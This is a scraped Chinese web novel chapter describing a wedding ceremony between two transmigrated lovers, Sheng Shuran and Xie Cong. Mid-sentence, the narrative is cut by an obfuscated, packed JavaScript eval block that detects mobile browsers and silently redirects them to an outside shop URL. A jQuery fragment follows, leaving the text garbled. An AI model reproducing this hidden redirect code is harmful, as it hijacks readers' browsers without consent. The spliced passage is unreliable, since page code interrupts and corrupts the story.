文趣网 > 都市小说 > 对抗路情侣穿越后咔咔乱杀 > 43. 红盖头、合卺酒
    喜轿晃晃悠悠,盛书然能听见自己的头饰相碰在一起发出的叮当声。

    她不自觉地咬了咬唇,逼回眼中的水雾。

    应该不是幻觉。

    她好像听到了盛书鹤破锣嗓子的哭喊。

    话说,今日确实一直都没和阿鹤相处。

    她对着父母跪拜行礼过,被母亲握着手叮嘱过,被父亲搀扶着前行过,在大哥的脊背上安稳地走了一段路,唯独没有和阿鹤单独相处过。

    盛书然用力捏了捏自己的指尖。

    只想着下次回府的时候多给阿鹤带一些好吃的。

    她低垂着眉眼,浅浅地笑了一下。

    耳边的喜乐声极大,盛书然抬起头,缓一口气,安静地听着外面嘈杂的世界。

    极其认真。

    喜轿终于稳当停在定国公府门前。

    盛书然吞咽一下。无意识摩挲了一下左手无名指上的戒指。

    有风进来。

    盛书然似有所感地抬起头来,听见了谢琮那熟悉至极隐隐含笑的声音:“把手给我吧。”

    盛书然眼睫轻眨,慢慢地伸出手,落入干燥温暖的掌心里。

    谢琮的手很好看,宽大、修长,没有茧子,只能感受到分明的骨节和凸起的血管。

    盛书然的手被他包在掌心里,严丝合缝,亲密无间。

    谢琮护着她的头,仔细地把人扶着出了喜轿。

    方才谢琮拈弓搭箭,早已射完三支箭矢:天、地、轿门,用以驱邪避煞。

    他为了这个流程,勤学苦练许久,现下则臭屁地压低声音与盛书然耳语:“怎么样?听见我刚才射箭的声音了吧?凑凑凑——巨酷!”

    盛书然无语凝噎,暗自腹诽:这人怎么这么幼稚。

    她又不是聋子,当然听到了喧哗人声当中他那箭矢刺破长空的声音,也听到了掌声雷动的欢呼夸赞声,想来应该是发挥的不错。

    但是盛书然懒得搭理他。

    她被谢琮扶着,跨火盆前还有些迟疑。

    谢琮察觉到,手中用力,轻声:“放心,有我在。”

    听了这句话,盛书然也没有多放心。

    她从小到大都是一个极其富有安危意识的人。

    她心里这么想着,脚下的动作却是听话的迈了出去。

    跨过火盆,邪气已祛。

    盛书然感受到了脚下炙热的温度,心有戚戚。

    谢琮悄咪咪地夸她:“不错不错,小盛很勇敢。”

    这对新人暗戳戳地私语着,却也隐秘。

    只是大家都感觉到了他们之间不一样的氛围。

    盛书然又伸腿跨过马鞍。

    旁边传来高亢的声音——“跨过马鞍,平安顺遂,岁岁无虞。”

    这一路走得不急不缓。

    盛书然只能低头看到自己脚下的场景。

    这其实是一种很没有安全感的方式。

    幸好她和谢琮是手牵着手的,而不是隔了一条红绸。

    不然盛书然将会以乌龟爬行的速度一步一步挪到正厅。

    好在有谢琮这个勉强让人安心的扶手,盛书然在吉时内到了正厅。

    二人松开双手,脊背挺直,规矩站好。

    正厅红烛高照,定国公夫妇高坐。

    香薰弥漫在空气中。

    礼赞官笑眯眯地看着二人,蓄势待发。

    “一拜天地——天地为证,日月为盟,姻缘永固!”①

    谢琮先转过身,盛书然被丫鬟扶着略慢他几秒。二人恭谨地下跪,虔诚拜礼。

    一拜天,二拜地,三拜天地。

    “二拜高堂——尊亲福寿,祖荫绵长,孝礼周全!”②

    两人又齐齐对着高堂三拜。

    盛书然和谢琮心里都是五味杂陈。

    “夫妻对拜——同心永结,琴瑟和谐,白首不离!”

    一拜相敬,谢琮站好看着盛书然,一双丹凤眼显得柔情万分,上扬的嘴角让酒窝溺醉了人。

    二拜同心,两人的头不小心微微磕碰在一起。盛书然小脸皱了皱,谢琮也露出一个有些憨傻的笑容。

    三拜和合。

    二人心中共念,白首偕老,不离不弃。

    “礼成——送入洞房!”

    话音刚落,乐声大奏,欢呼声与掌声雷动。

    盛书然被谢琮拉着,二人一起被众人簇拥着进了新房。

    他俩心脏跳动的声音声势浩大,绯红悄然爬上二人的面颊。

    手心冒了汗,谢琮却笑得格外开怀。

    盛书然坐在床边,觉得有点口干舌燥。她又开始捏自己的指腹。

    内心开始咆哮。

    虽然她也不知道自己在咆哮些什么。

    而谢琮站好后,悄悄地把掌心在喜服上蹭了一下。

    众人注视着。

    周遭喧哗已不能入耳。

    谢琮拿着铜秤杆的手一直在抖,引得旁人善意发笑。

    他脑袋一片空白,挑开红盖头的动作也成了慢镜头。

    盛书然感受到光芒,下意识闭了闭眼睛。

    谢琮喉咙发紧,愣在原地。

    周围传来人们的戏谑调笑声。

    “啊呀啊呀,新娘子好漂亮呀。”

    “谢三公子怎么这般紧张?”

    “莫不是被新娘子美得愣在原地啦?”

    “三公子好福气。”

    就在这七嘴八舌的声音里,盛书然抬起脸,眼睫颤啊颤,终于睁开眼睛。

    两人对视。

    时间静止。

    谢琮愣愣地看着盛书然的脸,他不是没有见过盛书然淡妆或浓抹的样子,也不是不知道盛书然有多漂亮,但此刻,他的的确确为这样的盛书然心魂颠倒。

    为这样画着新娘妆的、为这样微微羞赧脸红的、为这样眼神似水般的盛书然,心旌摇曳。

    盛书然在谢琮的牵引下走了许久,直到此刻,才真真切切地看见了他的身影。

    大红色的喜服很衬他,谢琮长得白,红色显得他更加天姿出众。墨发束冠,没有留着碎发,很干净利落,把他精致似雕刻的脸完全显露。

    分明是更有攻击性的造型,却因为主人的呆愣和愉悦的心情而显得温和许多。

    盛书然倏地眉眼弯起来,露出一个甜腻的笑容。

    那双眼睛仿佛盛了一池星河。

    于是谢琮感觉到自己的心脏再次猛烈地跳动了一下,撞得他生疼,面部表情抽搐一下,也扯了一个满足肆意的笑容。

    周边的人开始起哄。

    两人互相看着彼此,眼里的情意不必多说。盛书然微微歪了下头,谢琮捕捉到这微笑的动作,挑眉更是笑得肆无忌惮。

    喜娘乐呵呵地上前撒帐礼,红枣、花生、桂圆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540040|203603||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    、莲子……团圆祈福。

    两人被簇拥着撺掇着举起了酒杯。

    谢琮闻到盛书然身上的气息,他的呼吸也扑在盛书然的侧脸与脖颈上。

    暧昧横生。

    爱意绵延。

    二人视线交汇一瞬,便齐齐移开,只注视着酒杯,没做任何商量,便同时一饮而尽。

    喜酒的清甜在唇齿间蔓延,区区片刻,二人便酒意上脸,本就白皙的皮肤爬上绯红更加明显。

    盛书然轻轻咬了咬自己的唇肉,脸上含笑。谢琮轻咳一声,咬住腮帮子也收不回酒窝,他放弃抵抗,直接呲着一口白牙大喇喇地表现着自己现在的欢欣。

    “哟哟哟~”

    “哇~”

    “啧啧~”

    屋子里有人发出牙酸的嘶气声,大部分人捂嘴偷笑着,好在盛书然和谢琮二人都不是什么脸皮薄的人。

    他们适应了一会儿,便坦然接受大家的打趣,板板正正地坐在床边,隔着两掌的距离,像最认真的小学生一般等着屋内女眷们道贺、送祝福。

    等到这一环节完成后,谢琮便不能再留在新房了。

    他多少有点不情不愿的,却无可奈何只能去应付外宾们。

    临走时,谢琮还悄悄地对着盛书然做了个哭泣的表情,让盛书然忍俊不禁。

    她抿唇憋笑,没眼看,微微抬抬下巴,劝人快去吧。

    谢琮几乎想要上演一步三回头,却顾及着外人到底没有戏精上身。

    等到谢琮和宾客们离开喜房,屋子里便安静了下来,只留下了凝霜等贴身丫鬟和喜婆。

    盛书然也不必再强撑着坐姿,她卸下力来,凝霜连忙上前抵住小姐的肩膀。

    青禾也上前给盛书然按摩手臂肌肉,白芷则去把吃食端了过来。

    喜婆见几人如此熟练,也不多言,顺从地跟着佩兰在角落站定。

    盛书然哼哼唧唧:“好累啊。”声音拖成波浪线。

    白芷拿着糕点喂给她,盛书然闭着眼睛心安理得地被人服侍着,乖巧地一口一口吃着。

    “小姐今日起得早,也没怎么吃东西,便先垫补一下。”凝霜轻声细语地说。

    盛书然闭着眼,呼吸都有些绵长了:“嗯。”

    虽说成亲比较激动,但她也是真的累。尤其这么长时间都没熬过夜、少睡过,现在是真的撑不住了。

    她吃完东西终于有了饱腹感,也不好一直靠着凝霜,便摆摆手,嘟囔着让她们几人也去吃些东西,自己靠着床眯一会儿就好了。

    凝霜见喜房的美人榻上有个棉花冲成的垫子,便拿过来让盛书然靠着。

    盛书然迷迷糊糊地睁开眼看了一下,心想哪里来的抱枕?应该是谢琮做的吧。

    便直接陷入梦境了。

    凝霜又打量了半天小姐,见这个姿势还算舒服才离开。她笑着朝喜婆走过去,掏出一个荷包放到喜婆手里,温柔和气地说了几句感谢的话。

    喜婆眉开眼笑,推拒几下才收下。

    不知道是谁的命令,喜房没留下太多人,只她们五个丫鬟和这一位喜婆,倒是没有别的仆人。

    外面好生热闹,午后的暖阳透过窗户照进来,为花架上面的鲜花铺上一层光晕。

    清风也探进来,与光共舞。

    盛书然迷蒙中被凝霜小心地扶着躺了下来,她舒展了眉头,睡得更香甜了。